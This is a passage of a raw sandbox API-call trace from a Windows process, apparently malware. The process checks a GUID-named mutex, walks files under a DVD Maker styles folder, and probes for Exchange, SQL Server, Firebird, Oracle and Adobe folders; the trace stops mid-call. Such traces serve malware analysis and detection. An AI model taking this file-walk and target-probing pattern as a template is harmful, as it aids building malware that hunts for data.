[0057.535] GlobalLock (hMem=0x440004) returned 0x550170 [0057.535] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.535] GlobalUnlock (hMem=0x440004) returned 0 [0057.535] GlobalLock (hMem=0x440004) returned 0x550170 [0057.535] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.535] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.535] GlobalUnlock (hMem=0x440004) returned 0 [0057.535] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.535] GlobalUnlock (hMem=0x44000c) returned 0 [0057.535] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.535] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0057.535] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.535] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.535] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.535] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.535] GlobalUnlock (hMem=0x44000c) returned 0 [0057.535] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.535] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.535] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.535] GlobalUnlock (hMem=0x44000c) returned 0 [0057.535] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.535] GlobalUnlock (hMem=0x440004) returned 0 [0057.535] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.536] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0057.536] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.536] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.536] GlobalLock (hMem=0x440004) returned 0x550170 [0057.536] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.536] GlobalUnlock (hMem=0x440004) returned 0 [0057.536] GlobalLock (hMem=0x440004) returned 0x550170 [0057.536] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.536] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.536] GlobalUnlock (hMem=0x440004) returned 0 [0057.536] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.536] GlobalUnlock (hMem=0x44000c) returned 0 [0057.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.536] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.536] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.536] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.536] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.536] GlobalUnlock (hMem=0x44000c) returned 0 [0057.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.536] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.536] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.536] GlobalUnlock (hMem=0x44000c) returned 0 [0057.536] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.536] GlobalUnlock (hMem=0x440004) returned 0 [0057.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.536] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0057.537] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.537] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.537] GlobalLock (hMem=0x440004) returned 0x550170 [0057.537] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.537] GlobalUnlock (hMem=0x440004) returned 0 [0057.537] GlobalLock (hMem=0x440004) returned 0x550170 [0057.537] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.537] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.537] GlobalUnlock (hMem=0x440004) returned 0 [0057.537] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.537] GlobalUnlock (hMem=0x44000c) returned 0 [0057.537] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.537] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0057.537] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.537] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.537] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.537] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.537] GlobalUnlock (hMem=0x44000c) returned 0 [0057.537] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.537] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.537] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.537] GlobalUnlock (hMem=0x44000c) returned 0 [0057.537] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.537] GlobalUnlock (hMem=0x440004) returned 0 [0057.537] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.537] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0057.537] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.537] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.538] GlobalLock (hMem=0x440004) returned 0x550170 [0057.538] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.538] GlobalUnlock (hMem=0x440004) returned 0 [0057.538] GlobalLock (hMem=0x440004) returned 0x550170 [0057.538] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.538] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.538] GlobalUnlock (hMem=0x440004) returned 0 [0057.538] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.538] GlobalUnlock (hMem=0x44000c) returned 0 [0057.538] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.538] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0057.538] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.538] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.538] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.538] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.538] GlobalUnlock (hMem=0x44000c) returned 0 [0057.538] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.538] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.538] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.538] GlobalUnlock (hMem=0x44000c) returned 0 [0057.538] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.538] GlobalUnlock (hMem=0x440004) returned 0 [0057.538] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.538] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0057.538] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.538] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.539] GlobalLock (hMem=0x440004) returned 0x550170 [0057.539] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.539] GlobalUnlock (hMem=0x440004) returned 0 [0057.539] GlobalLock (hMem=0x440004) returned 0x550170 [0057.539] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.539] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.539] GlobalUnlock (hMem=0x440004) returned 0 [0057.539] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.539] GlobalUnlock (hMem=0x44000c) returned 0 [0057.539] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.539] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0057.539] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.539] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.539] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.539] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.539] GlobalUnlock (hMem=0x44000c) returned 0 [0057.539] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.539] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.539] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.539] GlobalUnlock (hMem=0x44000c) returned 0 [0057.539] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.539] GlobalUnlock (hMem=0x440004) returned 0 [0057.539] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.539] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0057.539] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.539] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.539] GlobalLock (hMem=0x440004) returned 0x550170 [0057.539] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.539] GlobalUnlock (hMem=0x440004) returned 0 [0057.540] GlobalLock (hMem=0x440004) returned 0x550170 [0057.540] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.540] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.540] GlobalUnlock (hMem=0x440004) returned 0 [0057.540] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.540] GlobalUnlock (hMem=0x44000c) returned 0 [0057.540] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.540] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0057.540] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.540] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.540] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.540] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.540] GlobalUnlock (hMem=0x44000c) returned 0 [0057.540] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.540] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.540] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.540] GlobalUnlock (hMem=0x44000c) returned 0 [0057.540] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.540] GlobalUnlock (hMem=0x440004) returned 0 [0057.540] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.540] GlobalLock (hMem=0x440004) returned 0x550170 [0057.540] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.540] GlobalUnlock (hMem=0x440004) returned 0 [0057.540] GlobalLock (hMem=0x440004) returned 0x550170 [0057.540] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.540] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.540] GlobalUnlock (hMem=0x440004) returned 0 [0057.541] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.541] GlobalUnlock (hMem=0x44000c) returned 0 [0057.541] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.541] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage", len=0x34 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage") returned 1 [0057.541] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.541] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.541] GlobalUnlock (hMem=0x44000c) returned 0 [0057.541] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.541] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.541] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.541] GlobalUnlock (hMem=0x44000c) returned 0 [0057.541] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.541] GlobalUnlock (hMem=0x440004) returned 0 [0057.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@兊R儞R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0057.544] GetLastError () returned 0x3 [0057.544] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@傴R企@\x18䃄Q\x181")) returned 0xffffffff [0057.545] GetLastError () returned 0x2 [0057.545] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@俬R企@\x18?T\x18;")) returned 0xffffffff [0057.547] GetLastError () returned 0x2 [0057.547] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@螌T企@\x18?T\x18D")) returned 0xffffffff [0057.548] GetLastError () returned 0x2 [0057.548] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.548] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@傴R企@\x18俬R\x18j")) returned 0xffffffff [0057.550] GetLastError () returned 0x2 [0057.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@螌T企@\x18?T\x18q")) returned 0xffffffff [0057.551] GetLastError () returned 0x2 [0057.551] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\俨RP") returned 6 [0057.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@숼R企@\x18?T\x18y")) returned 0xffffffff [0057.553] GetLastError () returned 0x2 [0057.553] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: 